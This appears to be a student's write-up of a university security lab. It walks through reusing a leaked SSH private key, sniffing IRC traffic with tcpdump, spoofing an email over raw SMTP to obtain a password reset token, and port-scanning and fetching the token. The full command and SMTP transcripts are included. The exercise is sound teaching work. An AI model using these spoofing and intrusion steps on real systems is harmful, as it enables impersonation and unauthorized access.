`dump.tar.gz` was extracted. Examining the contents revealed multiple directories, some containing irrelevant data, and the `.ssh` directory containing the host and user names for a "secret research network," as well as the RSA private key to login to the remote server. We followed these steps to login:

```
cp -r backups/crv543/.ssh/* ~/.ssh/
chmod 600 ~/.ssh/id_rsa
ssh secret-research-network
```

Running `ls` and reading `README.md` hinted towards running `tcpdump` on the `eno2` interface. Running `tcpdump -i eno2 -A` allows us to read the IRC messages of users on the network. It appears that the user `earlence` has forgotten their password, and user `allison` offers to send them a password reset token, if they send an email to them requesting it. This hinted towards sending a spoofed email to `allison@cse.127`, which appears to have been sent by `earlence`. Running `nmap c09-35` reveals that we have access to an SMTP server on our local network:

```
Starting Nmap 7.60 ( https://nmap.org ) at 2023-05-25 16:40 PDT
Nmap scan report for c09-35 (127.0.0.1)
Host is up (0.00023s latency).
rDNS record for 127.0.0.1: localhost
Not shown: 993 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
111/tcp  open  rpcbind
465/tcp  open  smtps
2049/tcp open  nfs
3128/tcp open  squid-http
6667/tcp open  irc
```

Running `telnet c09-35 25` allows us to connect to the SMTP server and start sending commands. We referenced documentation on the SMTP protocol as well as the discussion slides to determine what commands to send. Here is a record of the requests and responses between us and the server:

```
Trying 127.0.0.1...
Connected to c09-35.sysnet.ucsd.edu.
Escape character is '^]'.
220 ridl.cse.127 ESMTP Postfix (Ubuntu)
EHLO c09-35
250-ridl.cse.127
```

```
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250-SMTPUTF8
250 CHUNKING
MAIL FROM: <earlence@cse.127>
250 2.1.0 Ok
RCPT TO: <allison@cse.127>
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
FROM: <earlence@cse.127>
TO: <allison@cse.127>
SUBJECT: give token plz
REPLY-TO: <crv543@c09-35.sysnet.ucsd.edu>
give token plz
.
250 2.0.0 Ok: queued as 8BDC8C13C3
quit
221 2.0.0 Bye
Connection closed by foreign host.
You have new mail in /var/mail/crv543
```

After sending the email, we receive a reply in `/var/mail/crv543`. Examining the contents of `/var/mail/crv543` revealed the following email from `allison`:

```
From allison@cse.127  Mon May 22 12:58:47 2023
Return-Path: <allison@cse.127>
X-Original-To: crv543@c09-35.sysnet.ucsd.edu
Delivered-To: crv543@c09-35.sysnet.ucsd.edu
Received: from [127.0.0.1] (localhost [IPv6:::1])
        by foreshadow.cse.127 (Postfix) with ESMTP id 63A751C1312
        for <crv543@c09-35.sysnet.ucsd.edu>; Mon, 22 May 2023
12:58:47 -0700 (PDT)
From: Allison Turner <allison@cse.127>
Subject: password reset token
```

```
To: <earlence@cse.127>
Message-Id: <20230522195847.63A751C1312@foreshadow.cse.127>
Date: Mon, 22 May 2023 12:58:47 -0700 (PDT)

wow ok how many times do I need to reset this for you
I put the reset token in a file on my machine, and I spun up a quick
webserver running if you want to wget it or whatever.
my IP address is 192.168.1.43, the webserver is running on port
uh... something in
the 9000 range, I don't remember.

seriously though you need to figure this out, one of the students
might break in and hack something if you're not careful

Allison T.

ps also just to confirm, for the part a: mystery on gradescope, they
need to submit a file transcript.txt with the protocol transcript
they used to send the email, right?
like the raw text request/responses between them and the server?
thanks


Original Message:
> give token plz
>
```

In the ps section of this email, `allison` informs us that the mystery submission item is the SMTP transcript. Therefore, we copied the transcript from the command line interface and submitted it as `transcript.txt`. The email also reveals that `allison` is hosting a web server at `192.168.1.43` on some port in the range of `9000` to `9999`. Running `nmap 192.168.1.43 -p 9000-9999` reveals that port `9265` is open:

```
Starting Nmap 7.60 ( https://nmap.org ) at 2023-05-25 16:41 PDT
Nmap scan report for 192.168.1.43
Host is up (0.00034s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE
9265/tcp open  unknown
```

We referenced the discussion slides to help determine the arguments to pass to the `wget` command. Running `wget --no-check-certificate https://192.168.1.43:9265` returns the file `index.html`, which contains an element `<a href="token">token</a>`, suggesting that the password reset token is located at that path. Running `wget --no-check-certificate https://192.168.1.43:9265/token` gives us the token.